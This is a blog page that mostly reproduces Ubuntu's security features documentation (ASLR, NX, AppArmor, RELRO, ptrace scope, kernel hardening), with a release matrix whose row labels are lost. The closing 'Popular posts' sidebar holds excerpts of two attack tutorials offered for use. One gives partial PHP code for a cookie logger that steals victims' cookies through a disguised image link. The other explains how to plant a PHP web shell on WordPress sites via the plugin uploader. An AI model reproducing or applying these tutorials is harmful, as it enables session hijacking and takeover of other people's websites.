Skip to main content

Security/Features Of Linux . .

Features

Matrix

By Default
Available
Unimplemented
feature
10.04 LTS (Lucid Lynx)
12.04 LTS (Precise Pangolin)
12.10 (Quantal Quetzal)
13.04 (Raring Ringtail)
13.10 (Saucy Salamander)
policy
policy
policy
policy
policy
sha512
sha512
sha512
sha512
sha512
kernel & sysctl
kernel & sysctl
kernel & sysctl
kernel & sysctl
kernel & sysctl
kernel
kernel
kernel
kernel
kernel
ufw
ufw
ufw
ufw
ufw
kernel
kernel
kernel
kernel
kernel
2.5
2.7.0
2.8.0
2.8.0
2.8.0
universe
universe
universe
universe
universe
kernel
kernel
kernel
kernel
kernel
alt installer
alt installer
main installer
main installer
main installer
~/Private or ~, filenames
~/Private or ~, filenames
~/Private or ~, filenames
~/Private or ~, filenames
~/Private or ~, filenames
gcc patch
gcc patch
gcc patch
gcc patch
gcc patch
glibc
glibc
glibc
glibc
glibc
glibc
glibc
glibc
glibc
glibc
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
package list
package list
package list
package list
package list
gcc patch
gcc patch
gcc patch
gcc patch
gcc patch
gcc patch
gcc patch
gcc patch
gcc patch
gcc patch
package list
package list
package list
package list
package list
PAE, ia32 partial-NX-emulation
PAE, ia32 partial-NX-emulation
PAE, ia32 partial-NX-emulation
PAE, ia32 partial-NX-emulation
PAE, ia32 partial-NX-emulation
kernel
kernel
kernel
kernel
kernel
--
kernel
kernel
kernel
kernel
--
kernel
kernel
kernel
kernel
--
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
sysctl
sysctl
sysctl
sysctl
sysctl
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
kernel
--
kernel
kernel
kernel
kernel
--
kernel
kernel
kernel
kernel
--
kernel
kernel
kernel
kernel
--
kernel
kernel
kernel
kernel

Features

Configuration

No Open Ports

Default installations of Ubuntu must have no listening network services after initial install. Exceptions to this rule include network infrastructure services such as the DHCP client and mDNS (Avahi/ZeroConf, seeZeroConfPolicySpec for implementation details and justification). When installing Ubuntu Server, the administrator can, of course, select specific services to install beyond the defaults (e.g. Apache).
Testing for this can be done with netstat -an --inet | grep LISTEN | grep -v 127.0.0.1: on a fresh install.

Password hashing

The system password used for logging into Ubuntu is stored in /etc/shadow. Very old style password hashes were based on DES and visible in /etc/passwd. Modern Linux has long since moved to /etc/shadow, and for some time now has used salted MD5-based hashes for password verification (crypt id 1). Since MD5 is considered "broken" for some uses and as computational power available to perform brute-forcing of MD5 increases, Ubuntu 8.10 and later proactively moved to using salted SHA-512 based password hashes (crypt id 6), which are orders of magnitude more difficult to brute-force. See the crypt manpage for additional details.
See test-glibc-security.py for regression tests.

SYN cookies

When a system is overwhelmed by new network connections, SYN cookie use is activated, which helps mitigate a SYN-flood attack.
See test-kernel-security.py for configuration regression tests.

Subsystems

Filesystem Capabilities

The need for setuid applications can be reduced via the application of filesystem capabilities using the xattrs available to most modern filesystems. This reduces the possible misuse of vulnerable setuid applications. The kernel provides the support, and the user-space tools are in main ("libcap2-bin").
See test-kernel-security.py for configuration regression tests.

Configurable Firewall

ufw is a frontend for iptables, and is installed by default in Ubuntu (users must explicitly enable it). Particularly well-suited for host-based firewalls, ufw provides a framework for managing a netfilter firewall, as well as a command-line interface for manipulating the firewall. ufw aims to provide an easy to use interface for people unfamiliar with firewall concepts, while at the same time simplifies complicated iptables commands to help an administrator who knows what he or she is doing. ufw is an upstream for other distributions and graphical frontends.
See ufw tests for regression tests.

PR_SET_SECCOMP

Setting SECCOMP for a process is meant to confine it to a small subsystem of system calls, used for specialized processing-only programs.
See test-kernel-security.py for regression tests.

Mandatory Access Control (MAC)

Mandatory Access Controls are handled via the kernel LSM hooks.

AppArmor

AppArmor is a path-based MAC. Example profiles are found in the apparmor-profiles package from universe, and by-default shipped enforcing profiles are being built up:
Source package/binary
8.04 LTS
9.04
9.10
10.04 LTS
10.10
11.04
11.10
12.04 LTS
12.10
13.04
13.10
Cups (cupsd)
yes
yes
yes
yes
yes
yes
yes
yes
yes
yes
yes
OpenLDAP (slapd)
yes
yes
yes
yes
yes
yes
yes
yes
yes
yes
yes
MySQL (mysqld)
yes
yes
yes
yes
yes
yes
yes
yes
yes
yes
yes
Bind (named)
yes
yes
yes
yes
yes
yes
yes
yes
yes
yes
yes
ClamAV (clamd,freshclam)
--
yes
yes
yes
yes
yes
yes
yes
yes
yes
yes
gdm-guest-session
--
yes
yes
yes
yes
yes
yes
N/A
N/A
N/A
N/A
tcpdump
--
yes
yes
yes
yes
yes
yes
yes
yes
yes
yes
ISC Dhcpd (dhcpd3/dhcpd)
--
yes
yes
yes
yes
yes
yes
yes
yes
yes
yes
ISC Dhcp client (dhclient3/dhclient)
--
yes
yes
yes
yes
yes
yes
yes
yes
yes
yes
Evince
--
--
yes
yes
yes
yes
yes
yes
yes
yes
yes
NTP (ntpd)1
--
--
yes
yes
yes
yes
yes
yes
yes
yes
yes
Firefox (firefox-3.5/firefox)
--
--
yes2
yes2
yes2
yes2
yes2
yes2
yes2
yes2
yes2
Libvirt (libvirtd and kvm/qemu guests)
--
--
yes
yes
yes
yes
yes
yes
yes
yes
yes
Apache (apache2)
--
--
yes2
yes2
yes2
yes2
yes2
yes2
yes2
yes2
yes2
Telepathy
--
--
--
--
--
--
yes
yes
yes
yes
yes
Lightdm guest session
--
--
--
--
--
--
yes
yes
yes
yes
yes
juju
--
--
--
--
--
--
--
yes3
yes3
yes3
yes3
rsyslog
--
--
--
--
--
--
--
yes2
yes2
yes2
yes2
quassel-core
--
--
--
--
--
--
--
yes
yes
yes
yes
LXC
--
--
--
--
--
--
--
yes4
yes4
yes4
yes4
squid3
--
--
--
--
--
--
--
--
yes2
yes2
yes2
lightdm-remote-session-freerdp
--
--
--
--
--
--
--
--
yes
yes
yes
lightdm-remote-session-uccsconfigure
--
--
--
--
--
--
--
--
yes
yes
yes
  1. A complain-mode only profile was provided in the apparmor-profiles package in Ubuntu 9.04 and earlier
  2. Will be disabled by default and be opt-in for advanced users
  3. Preliminary support
See test-apparmor.py and test-kernel-security.py for regression tests.

SELinux

SELinux is an inode-based MAC. Targeted policies are available for Ubuntu in universe. Installing the "selinux" package will make the boot-time adjustments that are needed.
See test-kernel-security.py for configuration regression tests.

SMACK

SMACK is a flexible inode-based MAC.
See test-kernel-security.py for configuration regression tests.

Filesystem encryption

Encrypted LVM

Ubuntu 12.10 and newer include the ability to install Ubuntu onto an encrypted LVM, which allows all partitions in the logical volume, including swap, to be encrypted. Between 6.06 LTS and 12.04 LTS the alternate installer can install to an encrypted LVM.

eCryptfs

Encrypted Private Directories were implemented in Ubuntu 8.10 as a secure location for users to store sensitive information. The server and alternate installers had the option to setup an encrypted private directory for the first user. As of Ubuntu 9.04, support for encrypted home was added, allowing users to encrypt all files in their home directory. Encrypted Home is supported in the Alternate Installer, and available in the Desktop Installer via the preseed optionuser-setup/encrypt-home=true. Also, the Ubuntu 9.04 kernel carries a patchset for eCryptfs to support encrypted filenames.

Userspace Hardening

Many security features are available through the default compiler flags used to build packages and through the kernel in Ubuntu.

Stack Protector

gcc's -fstack-protector provides a randomized stack canary that protects against stack overflows, and reduces the chances of arbitrary code execution via controlling return address destinations. Enabled at compile-time. (A small number of applications do not play well with it, and have it disabled.) The routines used for stack checking are actually part of glibc, but gcc is patched to enable linking against those routines by default.
See test-gcc-security.py for regression tests.

Heap Protector

The GNU C Library heap protector (both automatic via ptmalloc and manual) provides corrupted-list/unlink/double-free/overflow protections to the glibc heap memory manager (first introduced in glibc 2.3.4). This stops the ability to perform arbitrary code execution via heap memory overflows that try to corrupt the control structures of the malloc heap memory areas.
This protection has evolved over time, adding more and more protections as additional corner-cases were researched. As it currently stands, glibc 2.10 and later appears to successfully resist even these hard-to-hit conditions.
See test-glibc-security.py for regression tests.

Pointer Obfuscation

Some pointers stored in glibc are obfuscated via PTR_MANGLE/PTR_UNMANGLE macros internally in glibc, preventing libc function pointers from being overwritten during runtime.
See test-glibc-security.py for regression tests.

Address Space Layout Randomisation (ASLR)

ASLR is implemented by the kernel and the ELF loader by randomising the location of memory allocations (stack, heap, shared libraries, etc). This makes memory addresses harder to predict when an attacker is attempting a memory-corruption exploit. ASLR is controlled system-wide by the value of/proc/sys/kernel/randomize_va_space. Prior to Ubuntu 8.10, this defaulted to "1" (on). In later releases that included brk ASLR, it defaults to "2" (on, with brk ASLR).
See test-kernel-security.py for regression tests for all the different types of ASLR.

STACK ASLR

Each execution of a program results in a different stack memory space layout. This makes it harder to locate in memory where to attack or deliver an executable attack payload. This was available in the mainline kernel since 2.6.15 (Ubuntu 6.06).

LIBS/MMAP ASLR

Each execution of a program results in a different mmap memory space layout (which causes the dynamically loaded libraries to get loaded into different locations each time). This makes it harder to locate in memory where to jump to for "return to libc" to similar attacks. This was available in the mainline kernel since 2.6.15 (Ubuntu 6.06).

EXEC ASLR

Each execution of a program that has been built with "-fPIE -pie" will get loaded into a different memory location. This makes it harder to locate in memory where to attack or jump to when performing memory-corruption-based attacks. This was available in the mainline kernel since 2.6.25 (and was backported to Ubuntu 8.04 LTS).

BRK ASLR

Similar to exec ASLR, brk ASLR adjusts the memory locations relative between the exec memory area and the brk memory area (for small mallocs). The randomization of brk offset from exec memory was added in 2.6.26 (Ubuntu 8.10), though some of the effects of brk ASLR can be seen for PIE programs in Ubuntu 8.04 LTS since exec was ASLR, and brk is allocated immediately after the exec region (so it was technically randomized, but not randomized with respect to the text region until 8.10).

VDSO ASLR

Each execution of a program results in a random vdso location. While this has existed in the mainline kernel since 2.6.18 (x86, PPC) and 2.6.22 (x86_64), it hadn't been enabled in Ubuntu 6.10 due to COMPAT_VDSO being enabled, which was removed in Ubuntu 8.04 LTS. This protects against jump-into-syscall attacks. Only x86 (maybe ppc?) is supported by glibc 2.6. glibc 2.7 (Ubuntu 8.04 LTS) supports x86_64 ASLR vdso. People needing ancient pre-libc6 static high vdso mappings can use "vdso=2" on the kernel boot command line to gain COMPAT_VDSO again.

Built as PIE

All programs built as Position Independent Executables (PIE) with "-fPIE -pie" can take advantage of the exec ASLR. This protects against "return-to-text" and generally frustrates memory corruption attacks. This requires centralized changes to the compiler options when building the entire archive. PIE has a large (5-10%) performance penalty on architectures with small numbers of general registers (e.g. x86), so it should only be used for a select number of security-critical packages (some upstreams natively support building with PIE, other require the use of "hardening-wrapper" to force on the correct compiler and linker flags). PIE on x86_64 does not have the same penalties, and will eventually be made the default, but more testing is required.
Source package
8.04 LTS
9.04
9.10
10.04 LTS
10.10
11.04
11.10
openssh (native)
yes
yes
yes
yes
yes
yes
yes
apache2
--
yes
yes
yes
yes
yes
yes
bind9
--
yes
yes
yes
yes
yes
yes
openldap
--
yes
yes
yes
yes
yes
yes
postfix
--
yes
yes
yes
yes
yes
yes
cups
--
yes
yes
yes
yes
yes
yes
postgresql-8.3
--
yes
yes
yes
yes
yes
yes
samba (native)
--
yes
yes
yes
yes
yes
yes
dovecot
--
yes
yes
yes
yes
yes
yes
dhcp3
--
yes
yes
yes
yes
yes
yes
ntp
--
--
yes
yes
yes
yes
yes
amavisd-new
--
--
yes
yes
yes
yes
yes
squid
--
--
yes
yes
yes
yes
yes
cyrus-sasl2
--
--
yes
yes
yes
yes
yes
exim4
--
--
yes
yes
yes
yes
yes
nagios3
--
--
yes
yes
yes
yes
yes
nagios-plugins
--
--
yes
yes
yes
yes
yes
xinetd
--
--
yes
yes
yes
yes
yes
ipsec-tools
--
--
yes
yes
yes
yes
yes
mysql-dfsg-5.1
--
--
yes
yes
yes
yes
yes
evince
--
--
--
yes
yes
yes
yes
firefox
--
--
--
yes
yes
yes
yes
gnome-control-center
--
--
--
--
--
yes
yes
tiff
--
--
--
--
--
yes
yes
totem
--
--
--
--
--
yes
yes
qemu-kvm
--
--
--
--
--
--
yes
pidgin
--
--
--
--
--
--
yes
See test-built-binaries.py for regression tests.

Built with Fortify Source

Programs built with "-D_FORTIFY_SOURCE=2" (and -O1 or higher), enable several compile-time and run-time protections in glibc:
  • expand unbounded calls to "sprintf", "strcpy" into their "n" length-limited cousins when the size of a destination buffer is known (protects against memory overflows).
  • stop format string "%n" attacks when the format string is in a writable memory segment.
  • require checking various important function return codes and arguments (e.g. system, write, open).
  • require explicit file mask when creating new files.
See test-gcc-security.py for regression tests.

Built with RELRO

Hardens ELF programs against loader memory area overwrites by having the loader mark any areas of the relocation table as read-only for any symbols resolved at load-time ("read-only relocations"). This reduces the area of possible GOT-overwrite-style memory corruption attacks.
See test-gcc-security.py for regression tests.

Built with BIND_NOW

Marks ELF programs to resolve all dynamic symbols at start-up (instead of on-demand, also known as "immediate binding") so that the GOT can be made entirely read-only (when combined with RELRO above).
See test-built-binaries.py for regression tests.

Non-Executable Memory

Most modern CPUs protect against executing non-executable memory regions (heap, stack, etc). This is known either as Non-eXecute (NX) or eXecute-Disable (XD), and some BIOS manufacturers needlessly disable it by default, so check your BIOS Settings. This protection reduces the areas an attacker can use to perform arbitrary code execution. It requires that the kernel use "PAE" addressing (which also allows addressing of physical addresses above 3GB). The 64bit and 32bit -server and -generic-pae kernels are compiled with PAE addressing. Starting in Ubuntu 9.10, this protection is partially emulated for processors lacking NX when running on a 32bit kernel (built with or without PAE). After booting, you can see what NX protection is in effect:
  • Hardware-based (via PAE mode):
    [    0.000000] NX (Execute Disable) protection: active
  • Partial Emulation (via segment limits):
    [    0.000000] Using x86 segment limits to approximate NX protection
If neither are seen, you do not have any NX protections enabled. Check your BIOS settings and CPU capabilities. If "nx" shows up in each of the "flags" lines in/proc/cpuinfo, it is enabled/supported by your hardware (and a PAE kernel is needed to actually use it).
Starting in Ubuntu 11.04, BIOS NX settings are ignored by the kernel.
Ubuntu 9.04 and earlier
CPU supports NX
CPU lacks NX
BIOS enables NX
BIOS disables NX
i386
-386-generic kernel (non-PAE)
nx unsupported
nx unsupported
nx unsupported
-server kernel (PAE)
real nx
nx unsupported
nx unsupported
amd64
any kernel (PAE)
real nx
nx unsupported
nx unsupported
Ubuntu 9.10 through 10.10
CPU supports NX
CPU lacks NX
BIOS enables NX
BIOS disables NX
i386
-386-generic kernel (non-PAE)
nx-emulation
nx-emulation
nx-emulation
-server-generic-pae kernel (PAE)
real nx
nx-emulation
nx-emulation
amd64
any kernel (PAE)
real nx
nx unsupported
nx unsupported
Ubuntu 11.04 and later
CPU supports NX
CPU lacks NX
i386
-386-generic kernel (non-PAE)
nx-emulation
nx-emulation
-server-generic-pae kernel (PAE)
real nx
nx-emulation
amd64
any kernel (PAE)
real nx
nx unsupported
See test-kernel-security.py for regression tests.

/proc/$pid/maps protection

With ASLR, a process's memory space layout suddenly becomes valuable to attackers. The "maps" file is made read-only except to the process itself or the owner of the process. Went into mainline kernel with sysctl toggle in 2.6.22. The toggle was made non-optional in 2.6.27, forcing the privacy to be enabled regardless of sysctl settings (this is a good thing).
See test-kernel-security.py for regression tests.
A long-standing class of security issues is the symlink-based ToCToU race, most commonly seen in world-writable directories like /tmp/. The common method of exploitation of this flaw is crossing privilege boundaries when following a given symlink (i.e. a root user follows a symlink belonging to another user).
In Ubuntu 10.10 and later, symlinks in world-writable sticky directories (e.g. /tmp) cannot be followed if the follower and directory owner do not match the symlink owner. The behavior is controllable through the /proc/sys/kernel/yama/protected_sticky_symlinks sysctl, available via Yama.
See test-kernel-security.py for regression tests.
Hardlinks can be abused in a similar fashion to symlinks above, but they are not limited to world-writable directories. If /etc/ and /home/ are on the same partition, a regular user can create a hardlink to /etc/shadow in their home directory. While it retains the original owner and permissions, it is possible for privileged programs that are otherwise symlink-safe to mistakenly access the file through its hardlink. Additionally, a very minor untraceable quota-bypassing local denial of service is possible by an attacker exhausting disk space by filling a world-writable directory with hardlinks.
In Ubuntu 10.10 and later, hardlinks cannot be created to files that the user would be unable to read and write originally, or are otherwise sensitive. The behavior is controllable through the /proc/sys/kernel/yama/protected_nonaccess_hardlinks sysctl, available via Yama.
See test-kernel-security.py for regression tests.

ptrace scope

A troubling weakness of the Linux process interfaces is that a single user is able to examine the memory and running state of any of their processes. For example, if one application was compromised, it would be possible for an attacker to attach to other running processes (e.g. SSH sessions, GPG agent, etc) to extract additional credentials and continue to immediately expand the scope of their attack without resorting to user-assisted phishing or trojans.
In Ubuntu 10.10 and later, users cannot ptrace processes that are not a descendant of the debugger. The behavior is controllable through the/proc/sys/kernel/yama/ptrace_scope sysctl, available via Yama.
In the case of automatic crash handlers, a crashing process can specficially allow an existing crash handler process to attach on a process-by-process basis using prctl(PR_SET_PTRACER, debugger_pid, 0, 0, 0).
See test-kernel-security.py for regression tests.

Kernel Hardening

The kernel itself has protections enabled to make it more difficult to become compromised.

0-address protection

Since the kernel and userspace share virtual memory addresses, the "NULL" memory space needs to be protected so that userspace mmap'd memory cannot start at address 0, stopping "NULL dereference" kernel attacks. This is possible with 2.6.22 kernels, and was implemented with the "mmap_min_addr" sysctl setting. Since Ubuntu 9.04, the mmap_min_addr setting is built into the kernel. (64k for x86, 32k for ARM.)
See test-kernel-security.py for regression tests.

/dev/mem protection

Some applications (Xorg) need direct access to the physical memory from user-space. The special file /dev/mem exists to provide this access. In the past, it was possible to view and change kernel memory from this file if an attacker had root access. The CONFIG_STRICT_DEVMEM kernel option was introduced to block non-device memory access (originally named CONFIG_NONPROMISC_DEVMEM).
See test-kernel-security.py for regression tests.

/dev/kmem disabled

There is no modern user of /dev/kmem any more beyond attackers using it to load kernel rootkits. CONFIG_DEVKMEM is set to "n". While the /dev/kmemdevice node still exists in Ubuntu 8.04 LTS through Ubuntu 9.04, it is not actually attached to anything in the kernel.
See test-kernel-security.py for regression tests.

Block module loading

In Ubuntu 8.04 LTS and earlier, it was possible to remove CAP_SYS_MODULES from the system-wide capability bounding set, which would stop any new kernel modules from being loaded. This was another layer of protection to stop kernel rootkits from being installed. The 2.6.25 Linux kernel (Ubuntu 8.10) changed how bounding sets worked, and this functionality disappeared. Starting with Ubuntu 9.10, it is now possible to block module loading again by setting "1" in /proc/sys/kernel/modules_disabled.
See test-kernel-security.py for regression tests.

Read-only data sections

This makes sure that certain kernel data sections are marked to block modification. This helps protect against some classes of kernel rootkits. Enabled via the CONFIG_DEBUG_RODATA option.
See test-kernel-security.py for configuration regression tests.

Stack protector

Similar to the stack protector used for ELF programs in userspace, the kernel can protect its internal stacks as well. Enabled via the CONFIG_CC_STACKPROTECTOR option.
See test-kernel-security.py for configuration regression tests.

Module RO/NX

This feature extends CONFIG_DEBUG_RODATA to include similar restrictions for loaded modules in the kernel. This can help resist future kernel exploits that depend on various memory regions in loaded modules. Enabled via the CONFIG_DEBUG_MODULE_RONX option.
See test-kernel-security.py for configuration regression tests.

Kernel Address Display Restriction

When attackers try to develop "run anywhere" exploits for kernel vulnerabilities, they frequently need to know the location of internal kernel structures. By treating kernel addresses as sensitive information, those locations are not visible to regular local users. Starting with Ubuntu 11.04,/proc/sys/kernel/kptr_restrict is set to "1" to block the reporting of known kernel address leaks. Additionally, various files and directories were made readable only by the root user: /boot/vmlinuz*/boot/System.map*/sys/kernel/debug//proc/slabinfo
See test-kernel-security.py for regression tests.

Blacklist Rare Protocols

Normally the kernel allows all network protocols to be autoloaded on demand via the MODULE_ALIAS_NETPROTO(PF_...) macros. Since many of these protocols are old, rare, or generally of little use to the average Ubuntu user and may contain undiscovered exploitable vulnerabilities, they have been blacklisted since Ubuntu 11.04. These include: ax25, netrom, x25, rose, decnet, econet, rds, and af_802154. If any of the protocols are needed, they can speficially loaded via modprobe, or the /etc/modprobe.d/blacklist-rare-network.conf file can be updated to remove the blacklist entry.
See test-kernel-security.py for regression tests.

Syscall Filtering

Programs can filter out the availability of kernel syscalls by using the seccomp_filter interface. This is done in containers or sandboxes that want to further limit the exposure to kernel interfaces when potentially running untrusted software.
See test-kernel-security.py for regression tests.

Popular posts from this blog

Assembly Language Step-by-step: Programming with DOS and Linux-

(-Assembly Language Step-by-step: Programming with DOS and Linux-) The bestselling guide to assembly language-now updated and expanded to include coverage of Linux . This new edition of the bestselling guide to assembly programming now covers DOS and Linux! The Second Edition begins with a highly accessible overview of the internal operations of the Intel-based PC and systematically covers all the steps involved in writing, testing, and debugging assembly programs. Expert author Jeff Duntemann then presents working example programs for both the DOS and Linux operating systems using the popular free assembler NASM. He also includes valuable information on how to use procedures and macros, plus rare explanations of assembly-level coding for Linux, all of which combine to offer a comprehensive look at the complexities of assembly programming for Intel processors. Providing you with the foundation to create executable assembly language programs, this book: * Explains how to use NASM

Cookie Logger

         Cookie Logger ---------------------------------------------- A Cookie Logger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim. Today I am going to show How to make your own Cookie Logger… Hope you will enjoy Reading it... STEP 1: Copy & Save the notepad file from below and Rename it as Fun.gif <a href="www.yoursite.com/fun.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="nesite.com/jpg" /></a> STEP 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php $filename = “logfile.txt”; if (isset($_GET["cookie"])) { if (!$handle = fopen($filename, ‘a’)) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } else { if (fwrite($handle, “rn” . $_GET["cookie"]) === FALSE) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } } echo “Temporary

Bypass while FTP login during wordpress shell uploads .

In this post I will be telling you how to bypass FTP login during wordpress shell upload. Sometimes when we are shelling a Wordpress website by uploading a theme in a zip file, it asks for ftp login information. This can be easily Bypassed using the below Method .  First of all, Log In to your target wordpress website, then in the left side, look for  Plugin option, click on it and select  Add New . There you will see a page titled  Install Plugins,  below it look for the option  Upload  and click on it After clicking on the Upload option, you will get a new page asking you to upload the plugin, browse your.php shell for there and click on Upload After the upload process is completed, you'll get the following Just skip this forum, and you are done xD ! Suppose the name of your shell was code.php, so inorder to access it goto http://www.website.com/wp-content/uploads/code.php